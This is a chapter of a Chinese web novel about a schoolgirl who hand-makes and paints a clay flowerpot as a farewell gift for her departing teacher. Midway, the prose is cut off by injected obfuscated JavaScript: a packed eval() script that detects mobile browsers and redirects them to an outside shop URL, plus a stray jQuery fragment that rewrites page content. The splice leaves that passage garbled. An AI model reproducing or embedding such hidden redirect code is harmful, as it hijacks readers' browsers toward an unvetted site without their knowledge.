周五早自习。
讲台上放着一个深蓝色相册。外壳是磨砂材质。周雨晴站在旁边，手指敲击讲桌。
“安静。”周雨晴发话，班里安静下来。
“昨天收的两块钱，买了水晶球音乐盒。”周雨晴翻开相册第一页，“光送那个不够，我选了这本相册。下周一升旗仪式，全班拍大合照，照片洗出来放进去。后面是每个人的专属留言页。”
她合上相册：“相册三十五，洗照片也要钱。每人再交五块。”
底下响起小声议论。
张逸飞坐在倒数第二排，手里的圆珠笔转飞出去，掉在地上。
他弯腰捡起笔，靠向椅背：“班长，昨天两块，今天五块。你当交物业费呢？”
几个人发笑。
“这是全班心意。”周雨晴板着脸，视线扫过全班，“谁不想交可以不交，相册上就不留他的位置。”
没人说话。谁也不想在这时候被孤立。
陈小满用手肘碰了碰苏念。
“她就是想出风头。”陈小满压低声音，“相册扉页上指不定写着‘班长周雨晴赠’。”
苏念没接话，拉开书包拉链，手伸/进去摸出铁皮文具盒，打开盖子。
盒底躺着三张发皱纸币，外加四个五毛硬币。
这是她今明两天的饭钱。
五块钱。
交出去，她得饿两顿。
陈小满偏头瞥见文具盒底。
“我帮你交。”陈小满掏出十块钱递给前面的张逸飞，“把我和苏念的都交了。”
“不用。”苏念伸手按住陈小满手腕。
她把文具盒里的钱全倒在桌面上，把三张一块钱铺平叠好，数出四个五毛硬币推给张逸飞。
文具盒空了。
中午，教室里的人走空了。
苏念坐在座位上，从书包侧边掏出塑料袋。里面装着半个发硬馒头。
她撕下一块放进嘴里嚼，没配水，干咽费力。
黑板上“欢送林老师”四个字是用红粉笔写的。
相册。音乐盒。
全班心意。
苏念嚼着馒头看黑板。
林知意给她批改的十三版作文，正钉在教室后方的软木板上。林知意给她包的新书，就装在她的书包里。
她不想把名字混在几十个人里，挤在相册角落。
她得自己送点东西。
下午放学。苏念没回城中村。
她顺着学校门口马路，走到十字路口的文具店。
店里学生多。苏念避开人群，走到最里侧玻璃柜台。
柜台里摆着各类礼盒。
水晶球音乐盒，标价四十五。
英雄钢笔，标价三十八。
密码日记本，标价十八。
苏念把手揣进校服裤兜，兜底有十块钱。这是姜翠花给的买菜钱。
十块钱，什么都买不起。
她盯着日记本看。
老板走过来，手里拿着鸡毛掸子：“买什么？”
“不买。”苏念抽出手转身走出文具店。
走到路口，陈小满和赵小朵站在公交站牌下等车。
赵小朵手里捧着空矿泉水瓶，里面装了半瓶土，插着一根野草。
“苏念！”陈小满招手。
苏念走过去。
“你去文具店了？”陈小满问，“买什么了？”
“没买。”苏念看着赵小朵手里的瓶子。
“你在愁送林老师什么？”陈小满撇嘴，“周雨晴弄那个相册就是走过场。你要送，得送有用的。”
“没钱。”苏念说。
赵小朵把水瓶往身前挪了挪：“林老师喜欢植物。图书馆那盆铁线蕨，她每天都浇水。”
苏念看着水瓶。
“对啊！”陈小满一拍大/腿，“赵小朵之前送你那盆多肉，林老师夸过好看。你直接送盆花不就行了？”
“塑料盆丑。”苏念说。
陈小满眼睛发亮：“塑料盆丑，你自己做一个。我昨天看李思思在玩那种捏的泥巴，白色的，干了以后发硬，还能上色。你做一个花盆，把多肉装进去，再画点东西。这不比那个破相册强一百倍？”
苏念看着陈小满。
自己做。
周六上午。苏念去了市中心手工材料店。
这家店在地下室，光线偏暗。
货架上堆满各类包装材料。
苏念顺着标签找，停在轻黏土架子前。
包装袋上写着“免烤风干黏土”。
“这个多少钱？”苏念拿了一包白色黏土走到收银台。
“五块。”老板翻动报纸。
苏念拿了两包，走到颜料区。
丙烯颜料，单支三块钱。
她挑了一支红色，一支黑色。
需要笔。最便宜的尼龙画笔，一块钱一支。
合计十七块钱。
苏念掏出兜里的十块钱，把昨天买菜剩下的七块钱零钱凑齐，递给老板。
老板数过钱，把东西装进塑料袋。
兜里只剩几毛钱。
晚上，城中村出租屋。
姜翠花在外面洗衣服，水声作响。
苏念坐在书桌前打开旧台灯，把两包黏土、两支颜料和画笔摆在桌上。
剪开黏土包装。黏土质轻，粘手。
她揪下一/大块，在两手之间揉.搓。
没有工具，全靠手。
她搓出圆球放在废旧挂历上，用手掌压平做成底座。
揪下黏土搓成长条，盘绕在底座上。
盘了三圈，黏土变软，往旁边塌陷。
苏念停手，把塌掉部分拆下重新揉成团。
这次她不用长条，拿一整块黏土，用大拇指在中间按出一个坑，慢慢把边缘往上捏。
捏厚边缘。
手指在黏土里外反复按压。指纹印在白色黏土上，留下纹路。
捏了四十分钟，一个圆柱罐子成型。
边缘不齐。她用手指蘸了茶缸里的水，顺着边缘抹了一圈。
水让黏土变得平滑，坑洼处被填平。
花盆做好了。不够圆，底部发歪。
她把花盆推到书桌角落，垫着挂历纸晾干。
包装袋上写着，风干需要二十四小时。
周日，期末考试倒计时一天。
苏念在旧图书馆复习一天。数学错题本看了三遍。
晚上回到家，姜翠花睡了。
苏念走到书桌前。
角落里的花盆变硬，敲上去发出闷响。
她拧开黑色颜料盖子，找来硬纸板挤上颜料。
拿尼龙笔蘸取颜料。
要在花盆上画梅花。
草稿纸上的梅花画起来容易，在圆柱体上画难。
苏念左手托住花盆内部，右手握笔。
笔尖落在白色黏土上，画第一条枝干。
手抖，线条不直，边缘带出毛刺。
她闭紧嘴，手腕悬空，顺着花盆弧度往下拖动。
枝干画好，分出几个岔。
洗净笔刷，挤出红色颜料。
红色刺眼。她用笔尖蘸取，在枝干旁边点下去。
一笔一个花瓣，五笔凑成一朵。
点第三朵时，笔尖上的颜料蘸多。一滴红色颜料顺着花盆弧面流下，划出一条红线。
苏念放下笔，用大拇指去擦那条红线。
丙烯速干。一擦，红线晕开，变成大块红斑，把底下的白色全盖住。
毁了。
苏念盯着那块红斑。
她放下花盆，去洗手间用肥皂洗手。颜料卡在指甲缝里洗不掉，手指染得红黑交错。
回到书桌前，她拿起美工刀，顺着红斑边缘把那块黏土切下。
花盆上多出缺口。
她拆开第二包黏土，揪下一块填进缺口。
用蘸水手指抹平接口。
颜色有差，新补黏土泛白，含水量高。
等干透再重画。
周一凌晨。
花盆干透。缺口处留有裂缝。
苏念挤出颜料。
笔尖在纸板上刮掉多余颜料，落笔。
黑色枝干绕过花盆半圈。
红梅开在枝干上。
有盛开的花，有花骨朵。
最后一笔落下，苏念把笔扔进水杯。
水变成暗红色。
她双手捧起花盆举到台灯下。
白底，黑枝，红花。
不规整。不如外面卖的瓷盆亮，表面留有抹水痕迹与指纹。
这上面的每一笔，全是她画的。
她把花盆放在窗台上。窗户开着缝，夜风吹入。
考完试，她就把多肉移栽进去。
周一早上，期末考试第一天，考语文和物理。
苏念把书包塞进课桌抽屉，铅笔盒里装好削尖铅笔和黑笔。
陈小满背着书包跑进教室坐下。
“苏念，你的花盆做好了没？”陈小满掏书。
“做好了。”苏念把准考证摆在桌角。
“好看不？”
“凑合。”
周雨晴从前面走来，手里拿着磨砂皮相册。
“大家注意。”周雨晴站在过道中间，“上午考完试，中午大课间，所有人去操场集合。林老师在操场等我们拍大合照。”
班里出现骚动。
“拍完照，我就把相册送给林老师。”周雨晴看了苏念一眼，“大家别迟到。”
苏念没接腔，低头检查铅笔。
考完试，大合照。林知意就要离开。
时间卡得紧。
第一场考语文。
卷子下发。苏念翻到最后一页看作文题。
题目是《一件珍贵礼物》。
苏念盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852041|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这几个字，手指在课桌上敲击两下。
考场里安静，只有监考老师走动的脚步声。
苏念拿起笔。
她没写相册，没写音乐盒。
她写了一块白色黏土，写了黏土在手里变硬的过程，写了红色颜料染红手指，写了花盆上的指纹。
她写，礼物不是用钱买来的，是用时间捏出来的。
每一道指纹，都是一句话。
五十分钟，作文写完。
交卷铃响，苏念盖上笔帽。
监考老师收走卷子。苏念看着卷子被收进档案袋。
这篇作文，林知意看不到了。
林知意能看到那个花盆。
中午大课间。操场上太阳毒辣。
初二3班的人聚在升旗台旁边。
林知意站在台阶上。她穿了一件白色连衣裙，头发放下来，没扎马尾。
刘国强拿着数码相机，站在前面指挥。
“高个子站后面，矮个子站前面。”刘国强挥手，“快点，别磨蹭。”
苏念站在最后一排边缘。
这是她习惯的位置。
周雨晴站在林知意身旁，手里捧着相册。
“看镜头。”刘国强举起相机，“一，二，三。”
快门响动。
照片拍完，队伍散开。
周雨晴把相册递给林知意。
“林老师，这是我们全班送您的礼物。”周雨晴抬高音量，“里面有我们每个人的留言。”
林知意双手接过相册，翻开看了一眼，眼眶泛红。
“谢谢大家。”林知意合上相册抱在怀里，“谢谢。”
大家鼓掌。张逸飞吹起口哨。
苏念站在人群外围，看着林知意手里的相册。
相册厚实，包装精美。
她的书包在教室里。书包里装着那个白色花盆。花盆里装好土，栽上了多肉。
拿不出手。
她把手揣进校服裤兜。食指指甲缝里的红色颜料没洗干净。
“苏念。”
林知意抱着相册穿过人群，走到她面前。
太阳晃眼。林知意脸上的绒毛清晰可见。
“你没写留言。”林知意看着她。
“我写了。”苏念说。
“我找过，没你的名字。”林知意发笑，“你忘了？”
苏念的手在兜里攥起。
“没忘。”苏念抽出手，“林老师，你等我一下。”
她转身往教学楼跑。
跑到三楼冲进教室，教室里没人。
她跑到最后一排，拉开书包拉链。
那个白色花盆待在书包底。多肉叶片发绿，和花盆上的红梅配在一起，显眼。
苏念把花盆捧出来。
粗糙。边缘不齐，颜料有晕染。
她捧着花盆跑下楼。
操场上的人散去。林知意站在升旗台旁边。
苏念跑过去，停在林知意面前喘气。
她把双手往前递。
“这个。”苏念避开林知意的视线，“给你的。”
林知意没动。
她看花盆，看苏念。
视线落在苏念手指上。那点没洗净的红色颜料，和花盆上的梅花同色。
林知意把相册夹在腋下，伸出双手接过花盆。
花盆沉重。底部不平，拿在手里硌人。
“你自己做的？”林知意问。
“嗯。”
林知意用手指触碰花盆上的指纹印。
“好看。”林知意说。
“边缘歪。”苏念盯着地面。
“不歪。”林知意把花盆端平，“多肉长得好。”
苏念抬起头。
林知意看着花盆掉下眼泪。泪水砸在白色黏土上，晕开一点没干透的红色颜料。
“林老师。”苏念开口。
“没事。”林知意用手背抹过眼睛发笑，“风大，迷了眼。”
苏念没说话。今天没风。
林知意捧着花盆。
“苏念。”林知意看着她，“这是我收到的最好礼物。”
苏念肩膀松弛下来。
“期末考试。”苏念说，“我会考好。”
“我信你。”林知意点头。
上课铃响。下午考数学。
苏念转身往教学楼走。
走到一半，她回过头。
林知意站在原地。一手夹着相册，一手捧着粗糙花盆。
阳光照在红梅上发亮。
苏念转回头跑进教学楼。
数学。
下午的数学考试，刘国强监考。
卷子下发。最后一道压轴大题图形复杂。
苏念扫过题目。
是证明题。
和林知意给她找的《几何证明原本》里的一道例题思路一致。
苏念捏住笔杆。